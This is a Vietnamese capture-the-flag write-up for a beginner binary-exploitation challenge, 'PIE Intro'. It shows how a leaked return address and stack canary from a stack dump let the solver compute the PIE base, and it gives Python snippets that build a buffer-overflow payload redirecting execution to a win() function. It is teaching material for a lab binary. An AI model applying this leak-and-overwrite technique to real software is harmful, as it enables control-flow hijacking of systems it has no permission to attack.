Binary Exploitation
Medium
200 points

PIE Intro

Recuite 2025 - HCMUS
6 tháng 10, 2025
PIE
ASLR
Information Leak
Base Calculation
Recuite 2025 - HCMUS
Binary Exploitation

PIE Intro - Writeup#

Thông tin Challenge#

  • Thể loại: Pwn
  • Độ khó: Beginner
  • Protections: Full (PIE, NX, Canary, RELRO, SHSTK, IBT)

Phân tích#

PIE (Position Independent Executable)#

Tất cả địa chỉ được phân ngẫu nhiên (ASLR) nhưng các offset tương đối vẫn cố định — tức khoảng cách (offset) giữa các hàm/điểm trong file nhị phân không thay đổi.

Stack Dump Tiết lộ#

Stack dump cho thấy:

  • Nội dung buffer
  • Canary tại offset 0x18
  • Saved RBP
  • Return address tại offset 0x28 ← Đây là chìa khóa!

Bố cục stack#

[rbp-0x20]  buffer[0:24]     ← scanf ghi dữ liệu vào đây
[rbp-0x08]  canary           ← phải giữ nguyên!
[rbp+0x00]  saved rbp        
[rbp+0x08]  return address   ← bị rò rỉ! Trỏ tới main+0x12

Địa chỉ return bị rò rỉ#

Địa chỉ return trỏ tới instruction ngay sau call vuln trong main():

asm
13e1 <main>:
    13ee: call 0x134f <vuln>
    13f3: mov eax, 0x0     ← địa chỉ return trỏ tới đây!

Kỹ thuật vượt PIE#

Ý tưởng: lấy địa chỉ bị rò rỉ, trừ đi offset biết trước để tính base của PIE, rồi cộng offset của hàm win để có địa chỉ thực tế của win.

python
leaked_ret_addr = 0x6491c35643f3  # Lấy từ stack dump
ret_offset = 0x13f3               # Offset đã biết trong binary
pie_base = leaked_ret_addr - ret_offset
win_addr = pie_base + 0x1229      # Tính địa chỉ win()

Khai thác#

Cấu trúc payload#

python
payload = b"A" * 0x18         # Đổ đầy buffer
payload += p64(canary)        # Giữ nguyên canary
payload += b"B" * 8           # Saved RBP (không quan trọng)
payload += p64(win_addr)      # Return → win()

Phân tích stack dump (ví dụ)#

python
# Lấy địa chỉ return tại offset 0x28
match = re.search(rb"\|0x28\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
ret_addr = int(match.group(1), 16)

# Lấy canary tại offset 0x18
match = re.search(rb"\|0x18\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
canary = int(match.group(1), 16)

Tính toán địa chỉ#

python
RET_ADDR_OFFSET = exe.sym["main"] + 0x12  # = 0x13f3 (offset đã biết)
WIN_OFFSET = exe.sym["win"]               # = 0x1229 (offset của win)

pie_base = leaked_ret_addr - RET_ADDR_OFFSET
win_addr = pie_base + WIN_OFFSET

Flag#

BPCTF{just_leak_the_base_23761d7e6937197aea0f362a955c7dbf}

Những điểm rút ra#

PIE là gì?#

PIE dịch nghĩa là thực thi độc lập vị trí — base của chương trình được load ngẫu nhiên mỗi lần (ASLR), nhưng:

  • Các địa chỉ hàm thay đổi mỗi lần chạy
  • Các offset tương đối giữa các hàm/biến trong nhị phân không thay đổi

Cách vượt PIE#

Để phá PIE:

  1. Rò rỉ một địa chỉ trong code (ví dụ return addr, pointer, GOT entry đã resolved...)
  2. Tính base PIE = leaked_addr - known_offset
  3. Tính địa chỉ mục tiêu = pie_base + target_offset

Defense in Depth#

  • PIE một mình chưa đủ (nếu có leak địa chỉ code thì vẫn bị phá).
  • Canary một mình chưa đủ nếu canary bị lộ.
  • PIE + Canary vẫn có thể bị bypass nếu có leak thông tin.
  • Bảo vệ thực sự: tránh rò rỉ thông tin nhạy cảm (stack dump, printf nội dung stack, v.v).

Bài học#

  1. PIE không ngăn exploitation nếu attacker có leak địa chỉ.
  2. Stack dumps (hoặc any info leak) cực kì nguy hiểm.
  3. ASLR/PIE chỉ random base — offsets cố định cho phép tính toán lại địa chỉ sau khi leak.
  4. Một lỗi rò rỉ đơn lẻ có thể làm sụp đổ nhiều lớp bảo vệ.
200
Points
Medium
Difficulty
Binary Exploitation
Category